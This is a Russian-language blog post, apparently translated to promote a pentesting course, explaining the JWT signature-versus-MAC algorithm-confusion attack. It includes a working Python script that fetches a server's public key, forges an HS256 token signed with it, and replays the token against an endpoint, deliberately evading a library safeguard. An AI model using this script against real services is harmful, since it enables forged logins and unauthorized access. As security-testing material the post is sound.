JWT: Атака на цифровую подпись VS MAC-атака

в 8:55, , рубрики: jwt, pentest, python, Блог компании OTUS. Онлайн-образование, информационная безопасность

Всем привет. Ни для кого не секрет, что ежемесячно OTUS запускает несколько абсолютно новых уникальных курсов, в этом месяце в их число вошел курс «Пентест. Практика тестирования на проникновение». По устоявшейся традиции, в преддверии старта курса, делимся с вами переводом полезного материала по данному направлению.

JWT: Атака на цифровую подпись VS MAC-атака - 1


Во время последнего пентеста я наткнулся на схему авторизации на основе JSON Web Token (или просто JWT). JWT состоит из трех частей: заголовок, полезная нагрузка, информация для верификации. Первая часть заголовка содержит имя алгоритма, который в дальнейшем будет использоваться для верификационной части JWT. Это опасно, так как злоумышленник может изменить эту информацию и таким образом (возможно) проконтролировать, какая схема будет использоваться сервером для проверки.

Обычно используются две схемы: RS256 (алгоритм на основе цифровой подписи) и HS256 (алгоритм на основе MAC). Совсем небезопасным вариантом будет NULL-схема: вообще не включать информацию о проверке, — к сожалению NULL-схема не была принята целевым веб-сервером.

Небольшая вариация на тему атаки type confusion на JWT, которая может сработать, если реализация сервера использует библиотеку проверки, которая просто вызывает код, подобный verify(token, key) и предполагает, что будут использоваться только токены с цифровой подписью. В этом случае второй параметр «ключ» всегда будет открытым и будет предъявлен для проверки (цифровые подписи используют закрытый ключ для создания подписи и соответствующий открытый ключ для проверки созданной подписи).

Теперь злоумышленник может получить открытый ключ, создать новый токен на основе MAC и использовать его для создания части верификации этого токена. В схеме на основе MAC для создания верификационной информации нужен только секретный ключ, и таким образом злоумышленник использует открытый ключ (цифровой подписи) в качестве секретного ключа для MAC. Если этот токен теперь передается в проверку на сервере, библиотека идентифицирует схему, которая будет использоваться для токена (который был установлен злоумышленником как HS256, указывающих на схему MAC). Библиотека будет использовать второй параметр в качестве входных данных для создания MAC. Поскольку это открытый ключ, новый MAC совпадает с MAC, который был передан злоумышленников, а поскольку они совпадают, сервер примет поддельный токен. Что в таком случае делать разработчику приложения? Если токен принимается сервером, сервер всегда должен проверять совпадает ли используемый алгоритм с тем, который изначально был запланирован разработчиком.

Теоретически, это должно быть легко проверить, но рабочего инструмента я не нашел. Поэтому я сам написал скрипт на python. Чтобы им воспользоваться, в исходном коде вы должны использовать следующие конфигурации:

  • jwks_url: откуда можно получить информацию об открытом ключе. JWKS используется многими службами для открытого распространения информации о ключе.
  • operation_url: HTTP GET-запрос, который использует JWT-токен для авторизации.
  • token: валидный JWT для сконфигурированной операции.
  • audience: аудитория, для которой был настроен токен.

Скрипт делает следующее:

  • Скачивает конфигурационный файл JWKS и извлекает параметры открытого ключа. Из этого создается pem-репрезентация.
  • Убеждается, что сконфигурированный токен может быть проверен с помощью извлечённого открытого ключа;
  • Выполняет сконфигурированную операцию с валидным токеном и выводит полученный HTTP статус-код и итоговый документ (предполагается, что это будет JSON).
  • Создает новый токен на основе сконфигурированного. В новом токене тип будет изменен на HS256; MAC (основанный на открытом ключе) будет вычислен и использован как верификационная информация для токена.
  • Выполнит сконфигурированную операцию снова с модифицированным токеном и выведет HTTP статус-код, а также возвращаемый документ.

Поскольку возвращаемый статус-код (с модифицированным токеном) был 401 (авторизация запрещена), проверки авторизации на стороне целевого сервера отработали, и он, таким образом, не был скомпрометирован signature-vs-mac атакой. Если бы это работало, идентичные статус-коды и аналогичные итоговые документы были бы созданы при обоих HTTP-вызовах (с исходным, а также с модифицированным токеном).

Надеюсь, эта статья поможет вам в вашей практике пентеста, пользуйтесь скриптом на python с удовольствием:

import jwt
import requests

from jwcrypto import jwk
from cryptography.x509 import load_pem_x509_certificate
from cryptography.hazmat.backends import default_backend

# configuration
jwks_url = "https://localhost/oauth2/.well-known/jwks.json"
operation_url = "https://localhost/web/v1/user/andy"
audience = "https://localhost"
token = "eyJh..."

# retrieves key from jwks
def retrieve_jwks(url):
    r = requests.get(url)
    if r.status_code == 200:
        for key in r.json()['keys']:
            if key['kty'] == "RSA":
                return jwk.JWK(**key)
        print("no usable RSA key found")
    else:
        print("could not retrieve JWKS: HTTP status code " + str(r.status_code))

def extract_payload(token, public_key, audience):
    return jwt.decode(token, public_key, audience=audience, algorithms='RS256')

def retrieve_url(url, token):
    header = {'Authorization' : "Bearer " + token}
    return requests.get(url, headers=header)

# call the original operation and output it's results
original = retrieve_url(operation_url, token)
print("original: status: " + str(original.status_code) + "nContent: " + str(original.json()))

# get key and extract the original payload (verify it during decoding to make
# sure that we have the right key, also verify the audience claim)
public_key = retrieve_jwks(jwks_url).export_to_pem()
payload = extract_payload(token, public_key, audience)
print("(verified) payload: " + str(payload))

# create a new token based upon HS256, cause the jwt library checks this
# to prevent against confusion attacks.. that we actually try to do (:
mac_key = str(public_key).replace("PUBLIC", "PRIVATE")
hs256_token = jwt.encode(payload, key=mac_key, algorithm="HS256")

# call the operation with the new token
modified = retrieve_url(operation_url, str(hs256_token))
print("modified: status: " + str(modified.status_code) + "nContent: " + str(modified.json()))

На этом все. Всех, кто дочитал до конца, ждем на бесплатном вебинаре на тему: «Как начать разбираться с багами в Web».

Автор: Дмитрий

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js